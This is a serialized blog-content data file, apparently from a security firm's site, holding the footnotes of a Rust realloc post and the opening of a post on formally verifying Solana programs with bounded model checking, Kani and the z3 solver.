internals!",{"type":25,"tag":19425,"props":22364,"children":22365},{},[22366],{"type":25,"tag":162,"props":22367,"children":22371},{"href":22368,"ariaDescribedBy":22369,"dataFootnoteRef":7,"id":22370},"#user-content-fn-slice-unbound-lifetime",[19432],"user-content-fnref-slice-unbound-lifetime",[22372],{"type":31,"value":22373},"6",{"type":25,"tag":22375,"props":22376,"children":22379},"section",{"className":22377,"dataFootnotes":7},[22378],"footnotes",[22380,22387],{"type":25,"tag":26,"props":22381,"children":22384},{"className":22382,"id":19432},[22383],"sr-only",[22385],{"type":31,"value":22386},"Footnotes",{"type":25,"tag":6705,"props":22388,"children":22389},{},[22390,22495,22513,22568,22581,22609],{"type":25,"tag":2037,"props":22391,"children":22393},{"id":22392},"user-content-fn-rc-refs",[22394,22396,22402,22404,22409,22411,22415,22417,22421,22423,22428,22430,22436,22438,22443,22445,22455,22457,22462,22464,22469,22471,22476,22478,22484,22486],{"type":31,"value":22395},"I find it helpful to view owning an ",{"type":25,"tag":82,"props":22397,"children":22399},{"className":22398},[],[22400],{"type":31,"value":22401},"Rc\u003CT>",{"type":31,"value":22403}," as holding a shared reference to the underlying ",{"type":25,"tag":82,"props":22405,"children":22407},{"className":22406},[],[22408],{"type":31,"value":177},{"type":31,"value":22410}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":25,"tag":64,"props":22412,"children":22413},{},[22414],{"type":31,"value":20410},{"type":31,"value":22416}," ensures that the actual ",{"type":25,"tag":64,"props":22418,"children":22419},{},[22420],{"type":31,"value":7663},{"type":31,"value":22422}," stays alive, however all you have is a reference to the ",{"type":25,"tag":82,"props":22424,"children":22426},{"className":22425},[],[22427],{"type":31,"value":177},{"type":31,"value":22429}," (through the ",{"type":25,"tag":82,"props":22431,"children":22433},{"className":22432},[],[22434],{"type":31,"value":22435},"Deref\u003CTarget = T>",{"type":31,"value":22437}," impl) - ",{"type":25,"tag":64,"props":22439,"children":22440},{},[22441],{"type":31,"value":22442},"not",{"type":31,"value":22444}," ownership ",{"type":25,"tag":64,"props":22446,"children":22447},{},[22448,22450],{"type":31,"value":22449},"of the ",{"type":25,"tag":82,"props":22451,"children":22453},{"className":22452},[],[22454],{"type":31,"value":177},{"type":31,"value":22456},". In short, owning an ",{"type":25,"tag":82,"props":22458,"children":22460},{"className":22459},[],[22461],{"type":31,"value":22401},{"type":31,"value":22463}," is owning a (shared, read-only) reference to ",{"type":25,"tag":82,"props":22465,"children":22467},{"className":22466},[],[22468],{"type":31,"value":177},{"type":31,"value":22470},", not owning ",{"type":25,"tag":82,"props":22472,"children":22474},{"className":22473},[],[22475],{"type":31,"value":177},{"type":31,"value":22477}," directly like with ",{"type":25,"tag":82,"props":22479,"children":22481},{"className":22480},[],[22482],{"type":31,"value":22483},"Box\u003CT>",{"type":31,"value":22485},". ",{"type":25,"tag":162,"props":22487,"children":22492},{"href":22488,"ariaLabel":22489,"className":22490,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[22491],"data-footnote-backref",[22493],{"type":31,"value":22494},"↩",{"type":25,"tag":2037,"props":22496,"children":22498},{"id":22497},"user-content-fn-sendsync",[22499,22505,22506],{"type":25,"tag":82,"props":22500,"children":22502},{"className":22501},[],[22503],{"type":31,"value":22504},"!Send + !Sync",{"type":31,"value":10403},{"type":25,"tag":162,"props":22507,"children":22511},{"href":22508,"ariaLabel":22509,"className":22510,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[22491],[22512],{"type":31,"value":22494},{"type":25,"tag":2037,"props":22514,"children":22516},{"id":22515},"user-content-fn-layout",[22517,22519,22524,22525,22538,22540,22545,22547,22552,22554,22559,22561],{"type":31,"value":22518},"Note that this is a terrible idea for yet another reason: ",{"type":25,"tag":82,"props":22520,"children":22522},{"className":22521},[],[22523],{"type":31,"value":18890},{"type":31,"value":1674},{"type":25,"tag":162,"props":22526,"children":22529},{"href":22527,"rel":22528},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[166],[22530,22532],{"type":31,"value":22531},"not declared with ",{"type":25,"tag":82,"props":22533,"children":22535},{"className":22534},[],[22536],{"type":31,"value":22537},"#[repr(C)]",{"type":31,"value":22539},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":25,"tag":64,"props":22541,"children":22542},{},[22543],{"type":31,"value":22544},"breaks the entire chain",{"type":31,"value":22546}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":25,"tag":64,"props":22548,"children":22549},{},[22550],{"type":31,"value":22551},"some",{"type":31,"value":22553}," kind of interface to the specific layout of the specific ",{"type":25,"tag":82,"props":22555,"children":22557},{"className":22556},[],[22558],{"type":31,"value":20462},{"type":31,"value":22560}," versions used to build on-chain code for all eternity... ",{"type":25,"tag":162,"props":22562,"children":22566},{"href":22563,"ariaLabel":22564,"className":22565,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[22491],[22567],{"type":31,"value":22494},{"type":25,"tag":2037,"props":22569,"children":22571},{"id":22570},"user-content-fn-rustc-llvm",[22572,22574],{"type":31,"value":22573},"Actually, it's LLVM that does the optimization ",{"type":25,"tag":162,"props":22575,"children":22579},{"href":22576,"ariaLabel":22577,"className":22578,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[22491],[22580],{"type":31,"value":22494},{"type":25,"tag":2037,"props":22582,"children":22584},{"id":22583},"user-content-fn-godbolt",[22585,22592,22594,22600,22602],{"type":25,"tag":162,"props":22586,"children":22589},{"href":22587,"rel":22588},"https://godbolt.org/z/PK46xMbxc",[166],[22590],{"type":31,"value":22591},"Click here",{"type":31,"value":22593}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":25,"tag":82,"props":22595,"children":22597},{"className":22596},[],[22598],{"type":31,"value":22599},"libcore",{"type":31,"value":22601}," available for other architectures yet. ",{"type":25,"tag":162,"props":22603,"children":22607},{"href":22604,"ariaLabel":22605,"className":22606,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[22491],[22608],{"type":31,"value":22494},{"type":25,"tag":2037,"props":22610,"children":22612},{"id":22611},"user-content-fn-slice-unbound-lifetime",[22613,22615,22620,22622,22628,22630,22636,22638,22644,22646,22652,22654,22660,22662,22667,22669],{"type":31,"value":22614},"The astute reader may have noticed that ",{"type":25,"tag":82,"props":22616,"children":22618},{"className":22617},[],[22619],{"type":31,"value":22307},{"type":31,"value":22621}," still returns an unbounded lifetime (notice in the signature ",{"type":25,"tag":82,"props":22623,"children":22625},{"className":22624},[],[22626],{"type":31,"value":22627},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":31,"value":22629},", the lifetime parameter ",{"type":25,"tag":82,"props":22631,"children":22633},{"className":22632},[],[22634],{"type":31,"value":22635},"'a",{"type":31,"value":22637}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":25,"tag":82,"props":22639,"children":22641},{"className":22640},[],[22642],{"type":31,"value":22643},"*slice",{"type":31,"value":22645},", which is ",{"type":25,"tag":82,"props":22647,"children":22649},{"className":22648},[],[22650],{"type":31,"value":22651},"&'info [u8]",{"type":31,"value":22653}," (where ",{"type":25,"tag":82,"props":22655,"children":22657},{"className":22656},[],[22658],{"type":31,"value":22659},"'info",{"type":31,"value":22661}," is the lifetime parameter of the ",{"type":25,"tag":82,"props":22663,"children":22665},{"className":22664},[],[22666],{"type":31,"value":18890},{"type":31,"value":22668}," struct) - this is exactly the lifetime we started with. ",{"type":25,"tag":162,"props":22670,"children":22674},{"href":22671,"ariaLabel":22672,"className":22673,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[22491],[22675],{"type":31,"value":22494},{"type":25,"tag":9310,"props":22677,"children":22678},{},[22679],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":22681},[22682,22688,22692,22693,22695],{"id":18319,"depth":6763,"text":22683,"children":22684},"Breaking down realloc",[22685,22686],{"id":18485,"depth":6772,"text":18488},{"id":19844,"depth":6772,"text":22687},"Back to realloc",{"id":20795,"depth":6763,"text":20798,"children":22689},[22690,22691],{"id":20801,"depth":6772,"text":20804},{"id":21023,"depth":6772,"text":21026},{"id":21209,"depth":6763,"text":21212},{"id":21611,"depth":6763,"text":22694},"Towards safer unsafe",{"id":19432,"depth":6763,"text":22386},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":22700,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":22701,"description":22702,"author":22703,"image":22704,"date":22706,"isFeatured":16,"onBlogPage":16,"tags":22707,"body":22708,"_type":6792,"_id":32953,"_source":6794,"_file":32954,"_stem":32955,"_extension":6797},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":22705,"height":17573,"width":17574},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[6809,6810],{"type":22,"children":22709,"toc":32925},[22710,22715,22720,22746,22750,22762,22785,22808,22820,22843,22846,22852,22902,22908,22914,22919,22930,22971,22976,22982,22987,23220,23239,23244,23249,23322,23327,23397,23411,23836,23856,23862,23881,23886,23891,23896,23902,23914,23949,23960,23971,23983,23988,24020,24044,24063,24069,24086,24092,24119,24124,24143,24155,24301,24329,24332,24344,24427,24446,24449,24488,24655,24660,24666,24678,24697,24710,24871,24883,24896,25370,25375,25422,25428,25446,25515,25740,25954,25959,26031,26079,26084,26090,26192,26296,26301,26364,26369,26375,26440,26445,26487,26513,26519,26588,26593,26643,26654,26660,26671,26692,26697,26702,26725,26731,26743,26763,27879,27898,27949,27954,27962,27974,27979,27987,27992,28008,28044,28049,28143,28148,28156,28161,28273,28278,28286,28299,28463,28468,28476,28481,28486,28554,28588,28594,28599,28610,28628,29006,29018,29030,29038,29049,29080,29085,29093,29098,29371,29390,29395,29421,30289,30301,30400,30412,30454,30459,30471,30479,30484,30496,30522,30682,30694,30702,30707,30983,30988,31000,31155,31175,31501,31535,31729,31762,31774,31896,31916,31921,31926,31931,31944,31952,31957,32432,32444,32449,32461,32466,32725,32751,32756,32762,32768,32780,32792,32811,32858,32863,32869,32874,32879,32884,32889,32894,32899,32902,32921],{"type":25,"tag":38,"props":22711,"children":22712},{},[22713],{"type":31,"value":22714},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":25,"tag":38,"props":22716,"children":22717},{},[22718],{"type":31,"value":22719},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":25,"tag":38,"props":22721,"children":22722},{},[22723,22725,22729,22731,22736,22738,22745],{"type":31,"value":22724},"In the world of Web3 we create programs that talk to strangers ",{"type":25,"tag":64,"props":22726,"children":22727},{},[22728],{"type":31,"value":20324},{"type":31,"value":22730}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":25,"tag":64,"props":22732,"children":22733},{},[22734],{"type":31,"value":22735},"juciest",{"type":31,"value":22737},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":25,"tag":162,"props":22739,"children":22742},{"href":22740,"rel":22741},"https://rekt.news/leaderboard/",[166],[22743],{"type":31,"value":22744},"hundreds of millions of dollars",{"type":31,"value":179},{"type":25,"tag":22747,"props":22748,"children":22749},"hr",{},[],{"type":25,"tag":38,"props":22751,"children":22752},{},[22753,22755,22760],{"type":31,"value":22754},"At OtterSec we are ",{"type":25,"tag":64,"props":22756,"children":22757},{},[22758],{"type":31,"value":22759},"highly skilled in pest control",{"type":31,"value":22761}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":25,"tag":38,"props":22763,"children":22764},{},[22765,22767,22774,22776,22783],{"type":31,"value":22766},"Recently we were contacted by the ",{"type":25,"tag":162,"props":22768,"children":22771},{"href":22769,"rel":22770},"https://squads.so/",[166],[22772],{"type":31,"value":22773},"Squads team",{"type":31,"value":22775}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":25,"tag":162,"props":22777,"children":22780},{"href":22778,"rel":22779},"https://github.com/Squads-Protocol/squads-mpl",[166],[22781],{"type":31,"value":22782},"Squads Multisig Program",{"type":31,"value":22784}," as our main case study.",{"type":25,"tag":38,"props":22786,"children":22787},{},[22788,22790,22797,22799,22806],{"type":31,"value":22789},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":25,"tag":162,"props":22791,"children":22794},{"href":22792,"rel":22793},"https://www.anchor-lang.com/",[166],[22795],{"type":31,"value":22796},"anchor-lang",{"type":31,"value":22798}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":25,"tag":162,"props":22800,"children":22803},{"href":22801,"rel":22802},"https://github.com/model-checking/kani",[166],[22804],{"type":31,"value":22805},"Kani Rust Verifier",{"type":31,"value":22807},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":25,"tag":38,"props":22809,"children":22810},{},[22811,22813,22818],{"type":31,"value":22812},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":25,"tag":64,"props":22814,"children":22815},{},[22816],{"type":31,"value":22817},"bounded model checking",{"type":31,"value":22819}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":25,"tag":38,"props":22821,"children":22822},{},[22823],{"type":25,"tag":64,"props":22824,"children":22825},{},[22826,22828,22835,22837],{"type":31,"value":22827},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":25,"tag":162,"props":22829,"children":22832},{"href":22830,"rel":22831},"https://osec.io/contact",[166],[22833],{"type":31,"value":22834},"this form",{"type":31,"value":22836}," or email us at ",{"type":25,"tag":162,"props":22838,"children":22840},{"href":22839},"mailto:contact@osec.io",[22841],{"type":31,"value":22842},"contact@osec.io",{"type":25,"tag":22747,"props":22844,"children":22845},{},[],{"type":25,"tag":631,"props":22847,"children":22849},{"id":22848},"contents",[22850],{"type":31,"value":22851},"Contents:",{"type":25,"tag":6705,"props":22853,"children":22854},{},[22855,22860,22877,22887,22892,22897],{"type":25,"tag":2037,"props":22856,"children":22857},{},[22858],{"type":31,"value":22859},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":25,"tag":2037,"props":22861,"children":22862},{},[22863,22868,22870,22875],{"type":25,"tag":9267,"props":22864,"children":22865},{},[22866],{"type":31,"value":22867},"Specification",{"type":31,"value":22869},": How can we describe what we ",{"type":25,"tag":64,"props":22871,"children":22872},{},[22873],{"type":31,"value":22874},"want",{"type":31,"value":22876}," our program to do?",{"type":25,"tag":2037,"props":22878,"children":22879},{},[22880,22885],{"type":25,"tag":9267,"props":22881,"children":22882},{},[22883],{"type":31,"value":22884},"Verification",{"type":31,"value":22886},": How do we check that our model is correct?",{"type":25,"tag":2037,"props":22888,"children":22889},{},[22890],{"type":31,"value":22891},"Case Study: Squads Multisig",{"type":25,"tag":2037,"props":22893,"children":22894},{},[22895],{"type":31,"value":22896},"Additional challenges in Solana",{"type":25,"tag":2037,"props":22898,"children":22899},{},[22900],{"type":31,"value":22901},"Conclusion",{"type":25,"tag":26,"props":22903,"children":22905},{"id":22904},"formal-verification-with-bounded-model-checking",[22906],{"type":31,"value":22907},"Formal Verification with Bounded Model Checking",{"type":25,"tag":607,"props":22909,"children":22911},{"id":22910},"overview",[22912],{"type":31,"value":22913},"Overview",{"type":25,"tag":38,"props":22915,"children":22916},{},[22917],{"type":31,"value":22918},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":25,"tag":38,"props":22920,"children":22921},{},[22922,22924,22929],{"type":31,"value":22923},"There are many different flavors of formal verification, however in this research we are using ",{"type":25,"tag":9267,"props":22925,"children":22926},{},[22927],{"type":31,"value":22928},"bounded model checking (BMC)",{"type":31,"value":179},{"type":25,"tag":38,"props":22931,"children":22932},{},[22933,22935,22940,22942,22947,22949,22953,22955,22961,22963,22969],{"type":31,"value":22934},"In short, the idea of BMC is to execute our program ",{"type":25,"tag":64,"props":22936,"children":22937},{},[22938],{"type":31,"value":22939},"symbolically",{"type":31,"value":22941}," rather than ",{"type":25,"tag":64,"props":22943,"children":22944},{},[22945],{"type":31,"value":22946},"concretely",{"type":31,"value":22948},". Instead of actually performing an ",{"type":25,"tag":64,"props":22950,"children":22951},{},[22952],{"type":31,"value":13588},{"type":31,"value":22954}," when we see the line ",{"type":25,"tag":82,"props":22956,"children":22958},{"className":22957},[],[22959],{"type":31,"value":22960},"int x = a + b",{"type":31,"value":22962},", we store the symbolic expression ",{"type":25,"tag":82,"props":22964,"children":22966},{"className":22965},[],[22967],{"type":31,"value":22968},"x == a + b",{"type":31,"value":22970},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":25,"tag":38,"props":22972,"children":22973},{},[22974],{"type":31,"value":22975},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":25,"tag":607,"props":22977,"children":22979},{"id":22978},"a-simple-example",[22980],{"type":31,"value":22981},"A simple example",{"type":25,"tag":38,"props":22983,"children":22984},{},[22985],{"type":31,"value":22986},"As an example, consider the following function:",{"type":25,"tag":206,"props":22988,"children":22990},{"code":22989,"language":2248,"meta":7,"className":20467,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[22991],{"type":25,"tag":82,"props":22992,"children":22993},{"__ignoreMap":7},[22994,23024,23058,23070,23095,23123,23138,23165,23172,23179,23187,23213],{"type":25,"tag":216,"props":22995,"children":22996},{"class":6916,"line":6917},[22997,23002,23007,23011,23015,23020],{"type":25,"tag":216,"props":22998,"children":22999},{"style":6930},[23000],{"type":31,"value":23001},"int",{"type":25,"tag":216,"props":23003,"children":23004},{"style":7041},[23005],{"type":31,"value":23006}," foo",{"type":25,"tag":216,"props":23008,"children":23009},{"style":6958},[23010],{"type":31,"value":1844},{"type":25,"tag":216,"props":23012,"children":23013},{"style":6930},[23014],{"type":31,"value":23001},{"type":25,"tag":216,"props":23016,"children":23017},{"style":6941},[23018],{"type":31,"value":23019}," x",{"type":25,"tag":216,"props":23021,"children":23022},{"style":6958},[23023],{"type":31,"value":18755},{"type":25,"tag":216,"props":23025,"children":23026},{"class":6916,"line":6763},[23027,23032,23036,23040,23045,23049,23054],{"type":25,"tag":216,"props":23028,"children":23029},{"style":6930},[23030],{"type":31,"value":23031},"    int",{"type":25,"tag":216,"props":23033,"children":23034},{"style":6958},[23035],{"type":31,"value":8456},{"type":25,"tag":216,"props":23037,"children":23038},{"style":6947},[23039],{"type":31,"value":266},{"type":25,"tag":216,"props":23041,"children":23042},{"style":6958},[23043],{"type":31,"value":23044}," x ",{"type":25,"tag":216,"props":23046,"children":23047},{"style":6947},[23048],{"type":31,"value":3533},{"type":25,"tag":216,"props":23050,"children":23051},{"style":6983},[23052],{"type":31,"value":23053}," 3",{"type":25,"tag":216,"props":23055,"children":23056},{"style":6958},[23057],{"type":31,"value":6961},{"type":25,"tag":216,"props":23059,"children":23060},{"class":6916,"line":6772},[23061,23065],{"type":25,"tag":216,"props":23062,"children":23063},{"style":6930},[23064],{"type":31,"value":23031},{"type":25,"tag":216,"props":23066,"children":23067},{"style":6958},[23068],{"type":31,"value":23069}," z;\n",{"type":25,"tag":216,"props":23071,"children":23072},{"class":6916,"line":6999},[23073,23077,23082,23086,23091],{"type":25,"tag":216,"props":23074,"children":23075},{"style":6967},[23076],{"type":31,"value":16229},{"type":25,"tag":216,"props":23078,"children":23079},{"style":6958},[23080],{"type":31,"value":23081}," (y ",{"type":25,"tag":216,"props":23083,"children":23084},{"style":6947},[23085],{"type":31,"value":5896},{"type":25,"tag":216,"props":23087,"children":23088},{"style":6983},[23089],{"type":31,"value":23090}," 100",{"type":25,"tag":216,"props":23092,"children":23093},{"style":6958},[23094],{"type":31,"value":18755},{"type":25,"tag":216,"props":23096,"children":23097},{"class":6916,"line":7104},[23098,23103,23107,23111,23115,23119],{"type":25,"tag":216,"props":23099,"children":23100},{"style":6958},[23101],{"type":31,"value":23102},"        z ",{"type":25,"tag":216,"props":23104,"children":23105},{"style":6947},[23106],{"type":31,"value":266},{"type":25,"tag":216,"props":23108,"children":23109},{"style":6958},[23110],{"type":31,"value":8456},{"type":25,"tag":216,"props":23112,"children":23113},{"style":6947},[23114],{"type":31,"value":8513},{"type":25,"tag":216,"props":23116,"children":23117},{"style":6983},[23118],{"type":31,"value":11880},{"type":25,"tag":216,"props":23120,"children":23121},{"style":6958},[23122],{"type":31,"value":6961},{"type":25,"tag":216,"props":23124,"children":23125},{"class":6916,"line":7210},[23126,23130,23134],{"type":25,"tag":216,"props":23127,"children":23128},{"style":6958},[23129],{"type":31,"value":19731},{"type":25,"tag":216,"props":23131,"children":23132},{"style":6967},[23133],{"type":31,"value":7262},{"type":25,"tag":216,"props":23135,"children":23136},{"style":6958},[23137],{"type":31,"value":7235},{"type":25,"tag":216,"props":23139,"children":23140},{"class":6916,"line":7238},[23141,23145,23149,23153,23157,23161],{"type":25,"tag":216,"props":23142,"children":23143},{"style":6958},[23144],{"type":31,"value":23102},{"type":25,"tag":216,"props":23146,"children":23147},{"style":6947},[23148],{"type":31,"value":266},{"type":25,"tag":216,"props":23150,"children":23151},{"style":6958},[23152],{"type":31,"value":8456},{"type":25,"tag":216,"props":23154,"children":23155},{"style":6947},[23156],{"type":31,"value":3533},{"type":25,"tag":216,"props":23158,"children":23159},{"style":6983},[23160],{"type":31,"value":8465},{"type":25,"tag":216,"props":23162,"children":23163},{"style":6958},[23164],{"type":31,"value":6961},{"type":25,"tag":216,"props":23166,"children":23167},{"class":6916,"line":7251},[23168],{"type":25,"tag":216,"props":23169,"children":23170},{"style":6958},[23171],{"type":31,"value":7305},{"type":25,"tag":216,"props":23173,"children":23174},{"class":6916,"line":7269},[23175],{"type":25,"tag":216,"props":23176,"children":23177},{"emptyLinePlaceholder":16},[23178],{"type":31,"value":7636},{"type":25,"tag":216,"props":23180,"children":23181},{"class":6916,"line":7290},[23182],{"type":25,"tag":216,"props":23183,"children":23184},{"style":6921},[23185],{"type":31,"value":23186},"    // Property P:\n",{"type":25,"tag":216,"props":23188,"children":23189},{"class":6916,"line":7299},[23190,23195,23200,23204,23209],{"type":25,"tag":216,"props":23191,"children":23192},{"style":7041},[23193],{"type":31,"value":23194},"    assert",{"type":25,"tag":216,"props":23196,"children":23197},{"style":6958},[23198],{"type":31,"value":23199},"(z ",{"type":25,"tag":216,"props":23201,"children":23202},{"style":6947},[23203],{"type":31,"value":19640},{"type":25,"tag":216,"props":23205,"children":23206},{"style":6983},[23207],{"type":31,"value":23208}," 105",{"type":25,"tag":216,"props":23210,"children":23211},{"style":6958},[23212],{"type":31,"value":7791},{"type":25,"tag":216,"props":23214,"children":23215},{"class":6916,"line":7551},[23216],{"type":25,"tag":216,"props":23217,"children":23218},{"style":6958},[23219],{"type":31,"value":7868},{"type":25,"tag":38,"props":23221,"children":23222},{},[23223,23225,23230,23232,23238],{"type":31,"value":23224},"This function takes an input ",{"type":25,"tag":82,"props":23226,"children":23228},{"className":23227},[],[23229],{"type":31,"value":2535},{"type":31,"value":23231}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":25,"tag":82,"props":23233,"children":23235},{"className":23234},[],[23236],{"type":31,"value":23237},"z != 105",{"type":31,"value":179},{"type":25,"tag":38,"props":23240,"children":23241},{},[23242],{"type":31,"value":23243},"With BMC, we could trace this program and derive the following constraints:",{"type":25,"tag":38,"props":23245,"children":23246},{},[23247],{"type":31,"value":23248},"Positive branch:",{"type":25,"tag":206,"props":23250,"children":23252},{"code":23251,"language":2248,"meta":7,"className":20467,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[23253],{"type":25,"tag":82,"props":23254,"children":23255},{"__ignoreMap":7},[23256,23281,23297],{"type":25,"tag":216,"props":23257,"children":23258},{"class":6916,"line":6917},[23259,23264,23268,23272,23276],{"type":25,"tag":216,"props":23260,"children":23261},{"style":6958},[23262],{"type":31,"value":23263},"y ",{"type":25,"tag":216,"props":23265,"children":23266},{"style":6947},[23267],{"type":31,"value":12522},{"type":25,"tag":216,"props":23269,"children":23270},{"style":6958},[23271],{"type":31,"value":23044},{"type":25,"tag":216,"props":23273,"children":23274},{"style":6947},[23275],{"type":31,"value":3533},{"type":25,"tag":216,"props":23277,"children":23278},{"style":6983},[23279],{"type":31,"value":23280}," 3\n",{"type":25,"tag":216,"props":23282,"children":23283},{"class":6916,"line":6763},[23284,23288,23292],{"type":25,"tag":216,"props":23285,"children":23286},{"style":6958},[23287],{"type":31,"value":23263},{"type":25,"tag":216,"props":23289,"children":23290},{"style":6947},[23291],{"type":31,"value":5896},{"type":25,"tag":216,"props":23293,"children":23294},{"style":6983},[23295],{"type":31,"value":23296}," 100\n",{"type":25,"tag":216,"props":23298,"children":23299},{"class":6916,"line":6772},[23300,23305,23309,23313,23317],{"type":25,"tag":216,"props":23301,"children":23302},{"style":6958},[23303],{"type":31,"value":23304},"z ",{"type":25,"tag":216,"props":23306,"children":23307},{"style":6947},[23308],{"type":31,"value":12522},{"type":25,"tag":216,"props":23310,"children":23311},{"style":6958},[23312],{"type":31,"value":8456},{"type":25,"tag":216,"props":23314,"children":23315},{"style":6947},[23316],{"type":31,"value":8513},{"type":25,"tag":216,"props":23318,"children":23319},{"style":6983},[23320],{"type":31,"value":23321}," 2\n",{"type":25,"tag":38,"props":23323,"children":23324},{},[23325],{"type":31,"value":23326},"Negative branch:",{"type":25,"tag":206,"props":23328,"children":23330},{"code":23329,"language":2248,"meta":7,"className":20467,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[23331],{"type":25,"tag":82,"props":23332,"children":23333},{"__ignoreMap":7},[23334,23357,23373],{"type":25,"tag":216,"props":23335,"children":23336},{"class":6916,"line":6917},[23337,23341,23345,23349,23353],{"type":25,"tag":216,"props":23338,"children":23339},{"style":6958},[23340],{"type":31,"value":23263},{"type":25,"tag":216,"props":23342,"children":23343},{"style":6947},[23344],{"type":31,"value":12522},{"type":25,"tag":216,"props":23346,"children":23347},{"style":6958},[23348],{"type":31,"value":23044},{"type":25,"tag":216,"props":23350,"children":23351},{"style":6947},[23352],{"type":31,"value":3533},{"type":25,"tag":216,"props":23354,"children":23355},{"style":6983},[23356],{"type":31,"value":23280},{"type":25,"tag":216,"props":23358,"children":23359},{"class":6916,"line":6763},[23360,23364,23369],{"type":25,"tag":216,"props":23361,"children":23362},{"style":6958},[23363],{"type":31,"value":23263},{"type":25,"tag":216,"props":23365,"children":23366},{"style":6947},[23367],{"type":31,"value":23368},"\u003C=",{"type":25,"tag":216,"props":23370,"children":23371},{"style":6983},[23372],{"type":31,"value":23296},{"type":25,"tag":216,"props":23374,"children":23375},{"class":6916,"line":6772},[23376,23380,23384,23388,23392],{"type":25,"tag":216,"props":23377,"children":23378},{"style":6958},[23379],{"type":31,"value":23304},{"type":25,"tag":216,"props":23381,"children":23382},{"style":6947},[23383],{"type":31,"value":12522},{"type":25,"tag":216,"props":23385,"children":23386},{"style":6958},[23387],{"type":31,"value":8456},{"type":25,"tag":216,"props":23389,"children":23390},{"style":6947},[23391],{"type":31,"value":3533},{"type":25,"tag":216,"props":23393,"children":23394},{"style":6983},[23395],{"type":31,"value":23396}," 1\n",{"type":25,"tag":38,"props":23398,"children":23399},{},[23400,23402,23409],{"type":31,"value":23401},"Using the ",{"type":25,"tag":162,"props":23403,"children":23406},{"href":23404,"rel":23405},"https://github.com/Z3Prover/z3",[166],[23407],{"type":31,"value":23408},"z3",{"type":31,"value":23410}," SMT solver, we could check both of these cases like so:",{"type":25,"tag":206,"props":23412,"children":23416},{"code":23413,"language":23414,"meta":7,"className":23415,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes 